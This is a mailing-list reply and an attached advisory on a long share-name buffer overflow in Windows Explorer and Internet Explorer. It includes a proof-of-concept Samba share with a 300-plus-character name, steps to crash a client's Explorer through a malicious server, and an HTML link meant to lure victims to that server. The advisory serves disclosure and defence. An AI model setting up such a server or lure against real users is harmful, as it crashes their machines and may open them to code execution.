Then you probably didnt doit right, me and others such as the secunia people
(www.secunia.com) have tested this
Vulnerability and proved that the systems are vulnerable. Even microsoft
says that the vulnerability was not patched
Until w2k sp4.

I tested this vulnerability in the following full patched systems:

Windows 98            (Vulnerable)
Windows Me            (Vulnerable)
Windows NT (All)      (Vulnerable)
Windows 2k (All)      (Vulnerable)
Windows XP (All)      (Vulnerable)
Windows 2003 server   (Not Vulnerable)

Remember that if you want to test the vulnerability, first you must know how
samba works.   Its not just to paste the example
Config in a smb.conf file, you must create the directory that is pointed in
the share and perhaps have a valid user.

Well, i have tested it in W2k with sp3 and explorer didnt get crashed!!!!!!!

Well, i cant get into the share because a message appears saying "share name
not found"!!!!

But, explorer is OK.

The vuln is attached in TXT format, I would be gratefull if someone 
could verify if it affects windows 2003 as well.

Microsoft Explorer and Internet Explorer Long
Share
Name Buffer Overflow.



Author: Rodrigo Gutierrez <rodrigo () intellicomp cl>

Affected: MS Internet Explorer, MS Explorer
(explorer.exe) 
          Windows XP(All), Windows 2000(All)

Not Tested: Windows 2003, Windows me, Windows 98, Windows 95

Vendor Status: i notified the vendor in the beginning of 2002, this
               vulnerability was supposed to be fixed in xp service
               pack 1 according to the vendors knowledge base article
               322857.

Vendor url:

http://support.microsoft.com/default.aspx?scid=kb;en-us;322857



Background.

MS Explorer (explorer.exe) and MS Internet
Explorer(IEXPLORE.EXE) are
core pieces of Microsoft Windows Operating Systems.



Description

Windows fails to handle long share names when accessing a remote file 
servers such as samba, allowing a malicious server to crash the 
clients explorer and eventually get to execute arbitrary code in the 
machine as the current user (usually with Administrator rights in 
windows machines).



Analysis

In order to exploit this, an attacker must be able to get a user to 
connect to a malicious server which contains a share name equal or 
longer than 300 characters, windows wont allow you to create such a 
share, but of course samba
includes the feature ;).   After your samba box is
up and running create a
share in you smb.conf :



#------------ CUT HERE -------------


[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]
comment = Area 51
path = /tmp/testfolder
public = yes
writable = yes
printable = no
browseable = yes
write list = @trymywingchung

#------------ CUT HERE -------------


After your server is up, just get to your windows test box and get to 
the start menu > run > \\your.malicious.server.ip., plufff, explorer 
will crash :).

Social Engineering:

<a href="\\my.malicious.server.ip">Enter My 0day sploit archive</a>
 


Workaround.

From your network card settings disable the client for Microsoft 
networks until a real fix for this vulnerability is available.
